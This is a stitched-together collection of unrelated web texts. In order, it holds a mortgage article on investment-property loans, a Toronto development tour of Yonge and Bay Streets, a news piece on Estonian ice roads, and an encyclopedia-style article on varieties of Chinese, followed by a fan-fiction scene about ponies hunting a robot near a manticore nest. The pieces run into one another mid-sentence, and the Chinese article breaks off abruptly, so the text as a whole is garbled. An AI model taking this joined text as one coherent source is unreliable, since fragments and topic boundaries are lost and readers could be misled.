Each bank can have a different definition, but for the most part an owner-occupied home is a house that someone lives in for more than 6 months of the year. It is not a house that someone buys and stays there for a week on vacation. It is not a house that someone buys and leaves one room vacant in case they decide to crash there one night. One or more people on the Deed must live in the home more than half the time for at least one year (sometimes more). All other houses are considered investment properties and the banks have much different loan programs for them than owner occupants.
If you buy a house as an owner occupant with the intention of using it as an investment it could be considered loan fraud.
Real estate investment loans
Owner occupants can typically qualify for FHA, VA, Conventional, USDA or other loan options that have low down payments. The down payment for FHA can be as low as 3.5%, VA has a $0 down payment as does USDA. Conventional loans also have down payments as low as 3 percent for some buyers and 5 percent for most buyers. It is fairly easy for most buyer’s to qualify for an owner-occupied home if they have decent credit (over 620), make decent money, and have reasonable debts.
Real estate investment loans are much different. An investment loan requires at least 20 percent down in almost all cases, requires higher credit scores, better debt to income ratios, and there are limits to how many loans you can get with big banks. Most big banks will only let an investor have 4 loans in their name. Some smaller banks will allow an investor to have 10 loans in their name, but all the requirements get even stricter.
There are other options for investors that we will get into in this article so do not lose hope if you don’t have the down payment, or have too many mortgages.
Why is it harder for an investor to get a loan?
Banks consider real estate investing riskier than people who buy houses to live in. Banks figure that someone will work harder to keep the house they live in than they will an investment property if things go bad. The government also encourages home ownership with programs like FHA, USDA, VA and local down payment assistance programs. Because the government helps with or runs these programs, the banks are more willing to offer low down payments to owner occupants.
How to get a loan on an investment property
When qualifying for a home mortgage, most banks look at multiple factors. One of the biggest issues investors run into is that they have to qualify for two houses if they have a loan on their personal residence. It is very important for people not to buy the most expensive house they can because of this. You must have a low debt-to-income ratio to qualify for a new loan whether it is as an owner-occupant or as an investor. If you max out your qualification on your personal home, it will be very difficult to qualify for a loan on an investment property.
Here is what banks look at on investor loans;
Debt-to-income ratios
The debt to income ratio is how much money you make each month, compared to your debt payments are each month. The percentages a bank will be okay with depend on the loan. The debt to income ratio does not take into account how much the balances are on your mortgages, only what the monthly payments are. Lower debt payments make it easier to qualify for a loan and that is one reason I prefer a 30-year loan to a 15-year loan (30-year loans have lower monthly payments).
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is already underway with scaffolding surrounding the exterior of the structure, and the interiors having been gutted down to the bare structure.
Rendering of 728 Yonge, image courtesy of Brook McIlroy.
Across the street, a potential development site encompasses three low-rise structures on the southeast corner of Yonge and Charles, where a developer is rumoured to have purchased the properties at 671 Yonge Street back in 2013 with the intention of constructing a tower that wrapped around onto Charles Street. No proposals have come forward yet.
View of 671 Yonge Street, image via Yonge Street.
Moving south, we come to a controversial site at 10 St. Mary Street, an 8-storey Modernist office building on the northwest corner of Yonge and St. Mary. Back in 2014, Lifetime Developments had purchased the site and ruffled a few feathers with demolition and rezoning applications, hoping to construct a Core Architects-designed 42-storey 255-unit residential tower on the property. However, City staff objected to the demolition and designated the building as Part IV under the Ontario Heritage Act in 2015. Lifetime appealed to the OMB in November 2015 where they have battled with the City since, however, a recent revised proposal has gained the City's approval, and two weeks ago City Council endorsed a settlement with the owners to finally end the OMB saga.
The site is rumoured to have been sold to Castlepoint Numa last year, and now includes the properties to the north at 79-85 St. Nicholas Street and 718 Yonge Street, all of which are listed or designated heritage properties. The revised proposal is from architectsAlliance, and would see a 51-storey residential tower constructed at the centre of the property that would preserve all or most of each of the heritage buildings save for 79 St. Nicholas. The new revisions are quite recent, and at the moment information is scarce as the project awaits its final OMB hearing in May, but we will keep you updated of any news as it becomes available.
Rendering of 10 St. Mary Street, image courtesy of Castlepoint Numa.
On the south side of St. Mary Street, the Church of Scientology Building has sat vacant since 2013, slowly deteriorating as it faces an uncertain future. Initially, the cult planned to completely renovate and reclad the building, turning it into a flagship facility with a glazed curtain wall featuring red spandrels on the exterior. The organization still intends to follow through with the renovations, however, a recent rendering indicates that the project has been scaled back to a restoration of the current facade, and recent financial difficulties have put the initiative in doubt.
Rendering of the Church of Scientology Building, image courtesy of The Church of Scientology.
South of the Church of Scientology, rumours circulated in 2012 that a developer was assembling the historic properties from 664-682 Yonge Street, a row of storefronts at the foot of Isabella Street. No proposals have come forward yet, but this presents yet another speculated development site.
View of 664-682 Yonge Street, image via Google Maps.
Across the street, a proposal at 625-637 Yonge on the southeast corner of Yonge and Isabella Streets was approved at the OMB in January 2015, however, there has been no movement on the development since. The approved project was for a 46-storey 354-unit condo tower designed by Page + Steele / IBI Group Architects that would replace the existing buildings on site, and would feature a stepped back form with retail at grade level. A rendering of the project appeared on Edenshaw Homes' website in September 2015, however, any reference to the proposal has since been removed, so the future of this is uncertain.
Rendering of 625-637 Yonge Street, image courtesy of Edenshaw Homes.
Continuing south, we come to 8 Gloucester Street, a proposal by Angel Developments for a 34-storey tower on the northeast corner of Yonge and Gloucester. Designed by Hariri Pontarini Architects, the 252-unit condo building would preserve the heritage Gloucester Mews in its entirety, and would maintain the pair of historic houses on Gloucester Street. Other than some updated renderings discovered on the architect's website early last year, there has been no movement on this proposal since being approved by City Council in 2013, so it is unclear whether or not this development will materialize.
Rendering of 8 Gloucester Street, image courtesy of Hariri Pontarini Architects.
Across Gloucester Street to the south, excavation and shoring is now underway for The Clover on Yonge, a 44-storey condo tower by Cresford Developments that will stretch the entire block along Yonge between Gloucester and Dundonald Streets. Designed by architectsAlliance, the tower will add 528 new condo units to the area, with office and retail integrated into the podium. With the dig down having begun, look for construction to get underway later this year.
Rendering of The Clover on Yonge, image courtesy of Cresford Developments.
Just off of this busy stretch of Yonge, Totem Condos is under construction at 17 Dundonald Street, where Worsley Urban's 18-storey tower is set to rise. Featuring architecture from RAW Design, the building will add 120 new condo units to the neighbourhood while recreating the facade of the 3-storey Modernist building previously on site. Most notably, it will also feature a brand new second entrance to Wellesley subway station in its podium. Construction is currently underway on the below-grade levels of the building, so look for the tower to rise out of the ground in the coming months.
View of Totem Condos under construction, image by Forum contributor dragontea.
Moving one block south, we come to the rapidly densifying Yonge and Wellesley intersection, where a pair of side-by-side towers are about to make their mark on the downtown skyline. The first tower is Cresford Developments' Vox Condominiums located at 40 Wellesley East, a 33-storey condo building designed by architectsAlliance. Construction on the tower floor plates is just now peaking above grade, so look for the building to rise into the sky in the coming months.
View of Vox Condominiums under construction, image by Forum contributor salsa.
Just next door, excavation is complete and the tower crane installed for Plaza's 50 at Wellesley Station, a 37-storey Quadrangle Architects-designed condo building. The tower will add 365 new units to the area, and will rise alongside both Vox and Totem Condominiums. Look for construction to begin shortly on the below-grade levels, with the concrete structure likely reaching grade before the end of the year.
Rendering of 50 at Wellesley Station, image courtesy of Plaza.
Returning to Yonge and heading south one block, we come to TeaHouse 501 Yonge Condominiums, a project by Lanterra that stretches the entire block along Yonge between Maitland and Alexander Streets. Excavation is currently well underway for the pair of architectsAlliance-designed towers that will rise 52 and 25 storeys atop a shared podium. The entire development comprises 608 new condo units. The dig down has exposed the subway tunnel that crosses the site diagonally, where they are doing mechanical ventilation upgrades to the tunnel before spanning the building's foundations across and reburying it.
Rendering of TeaHouse 501 Yonge Condominiums, image courtesy of Lanterra.
We are now approaching the intersection of Yonge and College, where the proposed and under construction projects have ramped up in height and density significantly over the past couple years. Across the street from TeaHouse, another potential development site is located at 506-512 Yonge Street, where KingSett Capital is rumoured to have purchased the properties back in 2012. No proposals have been put forth as of yet, but along with much of the Historic Yonge stretch, we may see something materialize soon once the HCD is in place.
View of 506-512 Yonge Street, image via Google Maps.
On the southwest corner of Yonge and Grosvenor Street, Cresford Developments is planning yet another tower on the busy stretch with Halo Residences on Yonge, a 38-storey condo building with retail integrated into the podium. Designed by architectsAlliance, the tower will add 451 new units while preserving and restoring the historic fire hall clock tower on the site, which is best known for being part of the St. Charles Tavern, a former LGBT bar that was central to the civil rights movements in the 1970s and 80s. Cresford has begun to market the project. Could demolition crews move onto the site this year?
Rendering of Halo Residences on Yonge, image courtesy of Cresford Developments.
East of Halo and south of TeaHouse, KingSett Capital made waves last year with their proposed redevelopment of the Courtyard Marriott at 475 Yonge featuring a design from Quadrangle Architects. The proposal would see the existing 9 and 16-storey hotel towers, which span the full block on Yonge between Alexander and Wood Streets, replaced with a pair of condo towers rising 45 and 65 storeys atop a shared 5-storey podium. The development would comprise a total of 988 new condo units with a 289-room hotel component to replace the existing use, as well as retail integrated at grade level. The proposal is currently making its way through the planning process.
Rendering of 475 Yonge Street, image courtesy of KingSett Capital.
Across the street at the southwest corner of Yonge and Grenville Streets, Canderel's YC Condos is rising quickly out of the ground, with construction of the concrete floor plates having now reached the fifth floor. Designed by Graziani + Corazza Architects, the tower will rise 66 storeys and will comprise a total of 600 new condo units, with office and retail integrated into the 5-storey podium. Look for this building to rise into the skyline over the course of the year as construction will accelerate once crews reach the repetitive tower floor plates.
View of YC Condos under construction, image by Forum contributor Benito.
Just to the south of YC Condos, a renovation and addition is in the works for the prominent historic Oddfellows Hall at the northwest corner of Yonge and College Streets. Designed by ERA Architects, the project would see a 5-storey addition constructed on top of the building, set back from the two street facades, that would include additional commercial space. First proposed back in 2014, the project is still seeking site plan approval at the City.
Rendering of the Oddfellows Hall addition, image courtesy of ERA Architects.
On the northeast corner of Yonge and Carlton Streets, a buzzworthy proposal from Northam Realty came forward last year to replace the existing 18-storey office tower at 2 Carlton with a pair of 72-storey IBI Group-designed towers. Reaching a height of 233 metres, the controversial project would add 1,100 new condo units to the area with grade-level retail in the shared podium, and would fill the entire block of Yonge between Wood and Carlton Streets. The Modernist building currently occupying the site is listed on the Toronto Heritage Register, however, the Historic Yonge HCD did not list it as a contributing property in its pre-OMB document adopted by City Council. The development is currently seeking rezoning at the City.
Rendering of 2 Carlton, image courtesy of Northam Realty.
With all of the development happening in the area, access to public space is becoming increasingly important, and the City is addressing this need with the revitalization of Barbara Ann Scott Park, one of a string of park and public space rehabilitations taking place across town. Tucked in behind College Park at the southwest corner of Yonge and College Streets, RAW Design and the MBTW Group are overseeing the complete remake of the park, which will include a new skating trail and accompanying service building, new green space, and increased connections to the surrounding streets. Construction began last spring and is scheduled for completion late 2017.
Site plan of the new Barbara Ann Scott Park, image courtesy of the City of Toronto.
Crossing west through the park, we end up at the corner of Collage and Bay, ready to check out the Bay Street corridor. Less busy than its parallel artery, the Bay corridor still presents a batch of intriguing projects and densification that will continue the rapid transformation of the Downtown Core.
North two blocks on Bay, we come to the site of a former Ontario Government building on the northwest corner of Bay and Grosvenor Streets. Back in 2010, the City approved a proposal to replace the existing 6-storey office building with a 45-storey WZMH Architects-designed office tower. However, the 880 Bay project was subsequently shelved and has not seen any activity until recently, when demolition of the existing building was carried out over the past few months and is now complete. There is still no active proposal for the site, however, it is believed that the provincial government still plans to redevelop the property in the future at an undetermined date.
View of the demolition of 880 Bay Street from early March 2017, image by Forum contributor stjames2queenwest.
Just to the north of 880 Bay, the Government of Ontario announced last year plans to renovate the Macdonald Block Complex, which comprises four Modernist towers constructed in the late 1960s and the Art Deco Whitney Block. The major multi-year project will get started with employees beginning to vacate the complex in 2018, and construction scheduled for 2019-2023, followed by completed occupation in 2024. The Macdonald Block is the highest concentration of Ontario government employees in the province and is home to 12 cabinet ministers, 15 government ministries, and 3,600 employees. The 880 Bay site immediately south of it will be used for construction staging during the lengthy Macdoanld Block renovation process.
View of the Whitney Block (left) and Macdonald block towers (right), image by Kevo, via Wikimedia Commons.
Just to the east on Wellesley Street, construction is in full swing at Wellesley on the Park, a 60-storey 742-unit condo tower from Lanterra that includes a new 1.5-acre public park occupying the majority of the site. Designed by KPMB Architects and Page + Steele / IBI Group Architects, construction on the building is now just poking above grade, so look for the tower to rise into the sky over the course of the year. The park is still in its design phases, and will be installed once construction on the tower is complete, likely in 2019.
View of Wellesley on the Park under construction, image by Forum contributor agoraflaneur.
Heading back to Bay Street, Lanterra is adding another fixture to the busy corridor with The Britt Condos at the northeast corner of Bay and Wellesley. The project is designed by Page + Steele / IBI Group Architects and involves the complete recladding of the former Sutton Place Hotel and subsequent conversion into condo units, with the addition of an 8-storey podium and an additional 8-storeys on top of the existing structure, bringing the final height to 41 storeys. The project will add 727 new residential units to the area, with grade-level retail integrated into the new podium. Rental replacement units will be built fronting Phipps Street on the north side of the project. Construction is well underway, with the existing building stripped down to its concrete structure, and the cladding now being installed on the new podium. Look for significant progress to be made on the building over the course of the year.
View of The Britt Condos under construction, image by Forum contributor Benito.
Continuing north on Bay we pass by the two towers and townhomes of the recently completed U Condos. On the northwest corner of Bay and St. Mary is 55 Charles Street West, the taller of two towers that were completed in 1980. Having been acquired by the Azuria Group in recent years, the 32-storey rental apartment tower has been undergoing renovations to modernize it, most obvious on the outside through the new windows that have been installed on the south side of the building. Renovations will continue through 2017.
One of the sides of 55 Charles West that still needs its windows replaced, image by UT Forum contributor Benito
Turning west onto St. Mary Street, we come to our final project of the tour with 70 St. Mary, where plans for the construction of a 40-storey tower to replace the Modernist Loretto College currently on the site were approved back in 2014. The 40-storey tower is designed by architectsAlliance and would serve as a new 70-suite dormitory for students of the college, with 220 condo units housed on the upper floors of the building. Additional college space would occupy the two-storey podium, including 8 suites for the Loretto Sisters who administer the college. There has been no recent movement on this proposal, and it is uncertain when development might start.
Rendering of 70 St. Mary Street, image courtesy of Loretto College.
* * *
Our next Growth to Watch For story will head into the University of Toronto campus and then explore all of the developments happening on this northwest side of Downtown, cutting through a diverse range of neighbourhoods on the Bloor, College, Dundas, and Spadina corridors, including Chinatown. In the meantime, make sure to check out the dataBase files and associated Forum threads for each of the projects mentioned above for more information. You can tell us what you think of all the developments happening in the city by joining the discussions in the threads, or by leaving a comment in the space provided on this page!Vehicles are only allowed to enter the road in three minute intervals
Speed limit of 25–43mph or under 16mph to avoid cracking the surface
Seatbelts are forbidden as drivers may need to quickly exit their car
A road on which you cannot wear seatbelts, wolves may cross your path and driving is not allowed after sunset, has now opened to plucky drivers.
Estonia has opened the first of its six official ice roads, from the seaside resort town of Haapsalu to the Noarootsi peninsula in western Estonia.
The road, the shortest of the six national ice roads potentially opened each winter, cuts travel time significantly as drivers take a shortcut across the frozen Baltic sea.
Scroll down for video
Cars driving on the first official ice road of the season from Haapsalu to the Noarootsi peninsula
The 18-mile drive from Haapsalu to the Noarootsi can be shortened to a mere two and a half miles by using the ice road route.
But there is a risk of death, freezing and drowning should the ice break.
And the regular highway code doesn't apply on this road which opens from 10am until 5pm, and is restricted to vehicles weighing up to two and a half tons.
Drivers and their passengers are not allowed to wear seatbelts because they might need to make a fast exit from the vehicle due to the danger of drowning if the ice cracks.
Vehicles are only allowed to enter the road in three minute intervals and drivers cannot wear seatbelts in case they need to make a sudden and 'unexpected' exit from the car
With patrols keeping watch throughout the day, vehicles are only allowed to enter the road in three minute intervals and drivers are advised not get too close to the car ahead of them in case the weight causes a crack in the ice.
Cars cannot stop and recommended travelling speeds are under 16 mph or between 25–43 mph due to the danger of creating'resonance in the ice layer' - or a wave beneath the surface which could break the ice.
And Mother Nature dictates how long Estonia's ice roads stay open for - temperatures need to plummet for the ice to reach the required thickness of around 11 inches.
In 2010, the longest highway was only open for 11 days in February, before the onset of spring and temperatures warming up again.
Stretching for 16 miles across a frozen expanse of the Baltic Sea, the ice road linking Estonia's mainland port of Rohukula with Hiiumaa island is the longest in Europe.
An icy bump start: People push a car to leave the ice road, which is only open to vehicles weighing less than two and a half tons
Locals enjoy the opening of the ice roads, which they say are a more cost effective and faster way of getting around Estonia. Pictured, cars wait in line to get on the route
A perilous journey? Cars make their way along the road - but drivers are advised to travel between speeds 25–43mph or under 16mph to avoid creating waves beneath the surface - which could crack the ice
Estonia's roads could be open for days or weeks - the highways authority will only allow cars to drive along it if the ice is 11 inches thick
People look on as cars leave to make the journey along the ice road. But there is a risk of death, freezing and drowning should the ice break
A different set of rules: Drivers need to be aware of the highway code which applies to Estonia's ice roads
Stretching for 16 miles across a frozen expanse of the Baltic Sea, the ice road linking Estonia's mainland port of Rohukula with Hiiumaa island is the longest in EuropeFor the varieties of Han Chinese people, see Han Chinese subgroups
Family of local language varieties
"Chinese languages" redirects here. For "Chinese language" as a singular term, see Chinese language. For other languages spoken in China, see Languages of China
Chinese, also known as Sinitic,[a] is a branch of the Sino-Tibetan language family consisting of hundreds of local language varieties or dialects, many of which are not mutually intelligible. The differences are similar to those within the Romance languages, with variation particularly strong in the more mountainous southeast. A widely quoted classification divides these varieties into seven groups: Mandarin, Wu, Min, Xiang, Gan, Hakka and Yue, though a more recent classification splits some of these to obtain ten groups, and some varieties remain unclassified.
Chinese varieties differ most in their phonology, and to a lesser extent in vocabulary and syntax. Southern varieties tend to have fewer initial consonants than northern and central varieties, but more often preserve the Middle Chinese final consonants. All have phonemic tones, with northern varieties tending to have fewer distinctions than southern ones. Many have tone sandhi, with the most complex patterns in the coastal area from Zhejiang to eastern Guangdong.
Standard Chinese takes its phonology from the Beijing dialect, with vocabulary from the Mandarin group and grammar based on literature in the modern written vernacular. It is the sole official language of China and the de facto official language of Taiwan, one of the four official languages of Singapore, and one of the six official languages of the United Nations.
History [ edit ]
At the end of the 2nd millennium BC, a form of Chinese was spoken in a compact area around the lower Wei River and middle Yellow River. From there it expanded eastwards across the North China Plain to Shandong and then south into the valley of the Yangtze River and beyond to the hills of south China. As the language spread, it replaced formerly dominant languages in those areas, and regional differences grew. Simultaneously, especially in periods of political unity, there was a tendency to promote a central standard to facilitate communication between people from different regions.
The first evidence of dialectal variation is found in texts from the Spring and Autumn period (722–479 BC). At that time, the Zhou royal domain, though no longer politically powerful, still defined standard speech. The Fangyan (early 1st century AD) is devoted to differences in vocabulary between regions. Commentaries from the Eastern Han period (first two centuries AD) contain much discussion of local variations in pronunciation. The Qieyun rhyme book (601 AD) noted wide variation in pronunciation between regions, and set out to define a standard pronunciation for reading the classics. This standard, known as Middle Chinese, is believed to be a diasystem based on the reading traditions of northern and southern capitals.
The North China Plain provided few barriers to migration, leading to relative linguistic homogeneity over a wide area in northern China. In contrast, the mountains and rivers of southern China have spawned the other six major groups of Chinese languages, with great internal diversity, particularly in Fujian.
Standard Chinese [ edit ]
Until the mid-20th century, most Chinese people spoke only their local language. As a practical measure, officials of the Ming and Qing dynasties carried out the administration of the empire using a common language based on Mandarin varieties, known as Guānhuà (官話, literally "speech of officials"). Knowledge of this language was thus essential for an official career, but it was never formally defined.
In the early years of the Republic of China, Literary Chinese was replaced as the written standard by written vernacular Chinese, which was based on northern dialects. In the 1930s a standard national language was adopted, with its pronunciation based on the Beijing dialect, but with vocabulary also drawn from other Mandarin varieties. It is the official spoken language of the People's Republic of China and of the Republic of China governing Taiwan, and one of the official languages of Singapore.
Standard Mandarin Chinese now dominates public life in mainland China, and is much more widely studied than any other variety of Chinese. Outside China and Taiwan, the only varieties of Chinese commonly taught in university courses are Standard Mandarin and Cantonese.
Comparison with Europe [ edit ]
Chinese has been likened to the Romance languages of Europe, the modern descendants of Latin. In both cases, the ancestral language was spread by imperial expansion over substrate languages 2000 years ago, by the Qin–Han empire in China and the Roman Empire in Europe. In Western Europe, Medieval Latin remained the standard for scholarly and administrative writing for centuries, and influenced local varieties, as did Literary Chinese in China. In both Europe and China, local forms of speech diverged from the written standard and from each other, producing extensive dialect continua, with widely separated varieties being mutually unintelligible.
On the other hand, there are major differences. In China, political unity was restored in the late 6th century (by the Sui dynasty) and has persisted (with relatively brief interludes of division) until the present day. Meanwhile, Europe remained fragmented and developed numerous independent states. Vernacular writing, facilitated by the alphabet, supplanted Latin, and these states developed their own standard languages. In China, however, Literary Chinese maintained its monopoly on formal writing until the start of the 20th century. The logographic writing, read with varying local pronunciations, continued to serve as a source of vocabulary and idioms for the local varieties. The new national standard, Vernacular Chinese, the written counterpart of spoken Standard Chinese, is also used as a literary form by literate speakers of all varieties.
Classification [ edit ]
Dialectologist Jerry Norman estimated that there are hundreds of mutually unintelligible varieties of Chinese. These varieties form a dialect continuum, in which differences in speech generally become more pronounced as distances increase, although there are also some sharp boundaries. However, the rate of change in mutual intelligibility varies immensely depending on region. For example, the varieties of Mandarin spoken in all three northeastern Chinese provinces are mutually intelligible, but in the province of Fujian, where Min varieties predominate, the speech of neighbouring counties or even villages may be mutually unintelligible.
Dialect groups [ edit ]
Classifications of Chinese varieties in the late 19th century and early 20th century were based on impressionistic criteria. They often followed river systems, which were historically the main routes of migration and communication in southern China. The first scientific classifications, based primarily on the evolution of Middle Chinese voiced initials, were produced by Wang Li in 1936 and Li Fang-Kuei in 1937, with minor modifications by other linguists since. The conventionally accepted set of seven dialect groups first appeared in the second edition of Yuan Jiahua's dialectology handbook (1961):
The Language Atlas of China (1987) follows a classification of Li Rong, distinguishing three further groups:
Jin These varieties, spoken in Shanxi and adjacent areas, were formerly included in Mandarin. They are distinguished by their retention of the Middle Chinese entering tone category. Huizhou The Hui dialects, spoken in southern Anhui, share different features with Wu, Gan and Mandarin, making them difficult to classify. Earlier scholars had assigned to them one or other of these groups, or to a group of their own. Pinghua These varieties are descended from the speech of the earliest Chinese migrants to Guangxi, predating the later influx of Yue and Southwest Mandarin speakers. Some linguists treat them as a mixture of Yue and Xiang.
Some varieties remain unclassified, including the Danzhou dialect of northwestern Hainan, Waxiang, spoken in a small strip of land in western Hunan, and Shaozhou Tuhua, spoken in the border regions of Guangdong, Hunan, and Guangxi. This region is an area of great linguistic diversity but has not yet been conclusively described.[citation needed]
Most of the vocabulary of the Bai language of Yunnan appears to be related to Chinese words, though many are clearly loans from the last few centuries. Some scholars have suggested that it represents a very early branching from Chinese, while others argue that it is a more distantly related Sino-Tibetan language overlaid with two millennia of loans.
Relationships between groups [ edit ]
Jerry Norman classified the traditional seven dialect groups into three larger groups: Northern (Mandarin), Central (Wu, Gan, and Xiang) and Southern (Hakka, Yue, and Min). He argued that the Southern Group is derived from a standard used in the Yangtze valley during the Han dynasty (206 BC – 220 AD), which he called Old Southern Chinese, while the Central group was transitional between the Northern and Southern groups. Some dialect boundaries, such as between Wu and Min, are particularly abrupt, while others, such as between Mandarin and Xiang or between Min and Hakka, are much less clearly defined.
Scholars account for the transitional nature of the central varieties in terms of wave models. Iwata argues that innovations have been transmitted from the north across the Huai River to the Lower Yangtze Mandarin area and from there southeast to the Wu area and westwards along the Yangtze River valley and thence to southwestern areas, leaving the hills of the southeast largely untouched.
Quantitative similarity [ edit ]
A 2007 study compared fifteen major urban dialects on the objective criteria of lexical similarity and regularity of sound correspondences, and subjective criteria of intelligibility and similarity. Most of these criteria show a top-level split with Northern, New Xiang, and Gan in one group and Min (samples at Fuzhou, Xiamen, Chaozhou), Hakka, and Yue in the other group. The exception was phonological regularity, where the one Gan dialect (Nanchang Gan) was in the Southern group and very close to Hakka,[which?] and the deepest phonological difference was between Wenzhounese (the southernmost Wu dialect) and all other dialects.
The study did not find clear splits within the Northern and Central areas:
Changsha (New Xiang) was always within the Mandarin group. No Old Xiang dialect was in the sample.
Taiyuan (Jin or Shanxi) and Hankou (Wuhan, Hubei) were subjectively perceived as relatively different from other Northern dialects but were very close in mutual intelligibility. Objectively, Taiyuan had substantial phonological divergence but little lexical divergence.
Chengdu (Sichuan) was somewhat divergent lexically but very little on the other measures.
The two Wu dialects occupied an intermediate position, closer to the Northern/New Xiang/Gan group in lexical similarity and strongly closer in subjective intelligibility but closer to Min/Hakka/Yue in phonological regularity and subjective similarity, except that Wenzhou was farthest from all other dialects in phonological regularity. The two Wu dialects were close to each other in lexical similarity and subjective similarity but not in mutual intelligibility, where Suzhou was actually closer to Northern/Xiang/Gan than to Wenzhou.
In the Southern subgroup, Hakka and Yue grouped closely together on the three lexical and subjective measures but not in phonological regularity. The Min dialects showed high divergence, with Min Fuzhou (Eastern Min) grouped only weakly with the Southern Min dialects of Xiamen and Chaozhou on the two objective criteria and was actually slightly closer to Hakka and Yue on the subjective criteria.
Terminology [ edit ]
Local varieties from different areas of China are often mutually unintelligible, differing at least as much as different Romance languages and perhaps even as much as Indo-European languages as a whole. These varieties form the Sinitic branch of the Sino-Tibetan language family (with Bai sometimes being included in this grouping). Because speakers share a standard written form, and have a common cultural heritage with long periods of political unity, the varieties are popularly perceived among native speakers as variants of a single Chinese language, and this is also the official position. Conventional English-language usage in Chinese linguistics is to use dialect for the speech of a particular place (regardless of status) while regional groupings like Mandarin and Wu are called dialect groups. ISO 639-3 follows the Ethnologue in assigning language codes to eight of the top-level groups listed above (all but Min and Pinghua) and five subgroups of Min. Other linguists choose to refer to the major groupings as languages.
In Chinese, the term fāngyán[b] is used for any regional subdivision of Chinese, from the speech of a village to major branches such as Mandarin and Wu. Linguists writing in Chinese often qualify the term to distinguish different levels of classification. All these terms have customarily been translated into English as dialect, a practice that has been criticized as confusing. The neologisms regionalect and topolect have been proposed as alternative renderings of fāngyán.[c]
The only varieties usually recognized as languages in their own right are Dungan and Taz.[citation needed] This is mostly due to political reasons[citation needed] as they are spoken in the former Soviet Union and are usually not written in Han characters but in Cyrillic. Dungan is in fact a variety of Mandarin, with high although asymmetric mutual intelligibility with Standard Mandarin. Various mixed languages, particularly those spoken by ethnic minorities, are also referred to as languages such as Tangwang language and E language. Some people and institutions may also allude to Taiwanese language, Cantonese language, and Hakka languages. The Taiwanese Ministry of Education uses the terms "Minnan language" and "Taiwan Minnan language".[61]
Phonology [ edit ]
Traditional Chinese syllable structure
The usual unit of analysis is the syllable, traditionally analysed as consisting of an initial consonant, a final and a tone. In general, southern varieties have fewer initial consonants than northern and central varieties, but more often preserve the Middle Chinese final consonants. Some varieties, such as Cantonese and the Shanghai dialect, include syllabic nasals as independent syllables.
Initials [ edit ]
In the 42 varieties surveyed in the Great Dictionary of Modern Chinese Dialects, the number of initials (including a zero initial) ranges from 15 in some southern dialects to a high of 35 in the dialect of Chongming Island, Shanghai.
Initials of selected varieties Fuzhou (Min) Suzhou (Wu) Beijing (Mandarin) Stops and
affricates voiceless unaspirated p t ts k p t ts tɕ k p t ts tɕ tʂ k voiceless aspirated pʰ tʰ tsʰ kʰ pʰ tʰ tsʰ tɕʰ kʰ pʰ tʰ tsʰ tɕʰ tʂʰ kʰ voiced b d dʑ g Fricatives voiceless s x f s ɕ h f s ɕ ʂ x voiced v z ʑ ɦ Nasals m n ŋ m n ɲ ŋ m n Sonorants l ∅ l ∅ l ɻ / ʐ ∅
The initial system of the Fuzhou dialect of northern Fujian is a minimal example. With the exception of /ŋ/, which is often merged with the zero initial, the initials of this dialect are present in all Chinese varieties, although several varieties do not distinguish /n/ from /l/. However, most varieties have additional initials, due to a combination of innovations and retention of distinctions from Middle Chinese:
Most non-Min varieties have a labio-dental fricative /f/, which developed from Middle Chinese bilabial stops in certain environments. They do not usually have a separate voiced labio-dental fricative /v/. Some speakers of some dialects produce such a phonetic sound [v ~ w], similar to speakers of Hindi-Urdu or German.
, which developed from Middle Chinese bilabial stops in certain environments. The voiced initials of Middle Chinese are retained in Wu dialects such as Suzhou and Shanghai, as well as Old Xiang dialects, but have merged with voiceless initials elsewhere.
The Middle Chinese retroflex initials are retained in many Mandarin dialects, including Beijing but not southwestern and southeastern Mandarin varieties.
In many northern and central varieties there is palatalization of dental affricates, velars (as in Suzhou), or both. In some places, including Beijing, palatalized dental affricates and velars have merged to form a new palatal series.
Finals [ edit ]
Chinese finals may be analysed as an optional medial glide, a main vowel and an optional coda.
Conservative vowel systems, such as those of Gan dialects, have high vowels /i/, /u/ and /y/, which also function as medials, mid vowels /e/ and /o/, and a low /a/-like vowel. In other dialects, including Mandarin dialects, /o/ has merged with /a/, leaving a single mid vowel with a wide range of allophones. Many dialects, particularly in northern and central China, have apical or retroflex vowels, which are syllabic fricatives derived from high vowels following sibilant initials. In many Wu dialects, vowels and final glides have monophthongized, producing a rich inventory of vowels in open syllables. Reduction of medials is common in Yue dialects.
The Middle Chinese codas, consisting of glides /j/ and /w/, nasals /m/, /n/ and /ŋ/, and stops /p/, /t/ and /k/, are best preserved in southern dialects, particularly Yue dialects such as Cantonese. In Jin, Lower Yangtze Mandarin and Wu dialects, the stops have merged as a final glottal stop, while in most northern varieties they have disappeared. In |
had a point.
"Whatever. I was just saying that the robot you sent me to check out is called Satellite Sam." Ivy's brow rose. "Pseudonym. He's a bit of a character."
"I see."
"He wasn't keen to spill any important details and got jumpy and dodged the subject, so no joy. I might be able to weasel them out with like, a few weeks to work with, buuuut..."
Ivy put her hoof on her forehead. "What did you do..."
"I don't think the sheriff likes me."
"What did you do, Atom."
"I didn't actually do anything, I seem to automatically trigger his irritation centres or something."
She raised a hoof and then stopped. "That does actually sound pretty likely."
"So sustained visits to Isotope City, not going to go spectacularly. I did, however, find out another thing." Rainbow gave an 'I'm listening' head tilt. "Sam is out of Isotope City tonight, scavenging."
He scratched his chin. "Probably not worth pursuing... he'd have guards with him, and I’d guess they’re already out there, and we'd have to get ready..."
I sprawled out on the couch. "I'm certainly not inclined to go traipsing out to the Cabellero Centre after a day like today. Man, I am hungry after all that walking. What's for dinner?"
When I looked over again, Rainbow and Ivy were looking at each other pensively. "Did you say, Caballero Centre?" he asked.
"Yeah. I'm guessing the pizza delivery is closed, so I don’t think it’s worth calling."
"Ivy, wasn't the Caballero Centre where Heather Grass' squad..."
Ivy's face went white. She hopped off and shoved him towards his power armour with a force I wasn't aware could come from that small of a frame. "You need to go. Like, now." Magic rolled me off the couch and on to my feet, and then dropped my jacket and bags on me.
"Uuuuugh. Really?"
Rainbow butt's armour did the thing where it folded around him. Ivy slid a locker out from under the couch, making me stumble away from it. She floated out a battle saddle and a helmet. She kissed him. "Come home safe, sugar."
"I will." The helmet dropped over his head with a hiss and a click. The door swung open, and off he went. The door remained open, and then I found myself being slid towards the door.
"Hey! What are you doing, I just want to sleep!" There was no answer, only the door shutting behind me. Rainbow was waiting for me down the corridor. I grumbled and followed. "Okay, what the fuck is up with the Caballero Centre that I'm not even allowed to sleep off the rest of this hangover?"
"Why are you hung over?" I was hearing more of his voice coming through a tinny speaker in his helmet than his actual talking.
"I spent the hottest part of the day at the bar in Isotope City."
He sighed. "That's your fault." We exited the barracks and entered the courtyard. "There's a manticore nest in the Caballero Centre. We lost a scouting party in there six months ago."
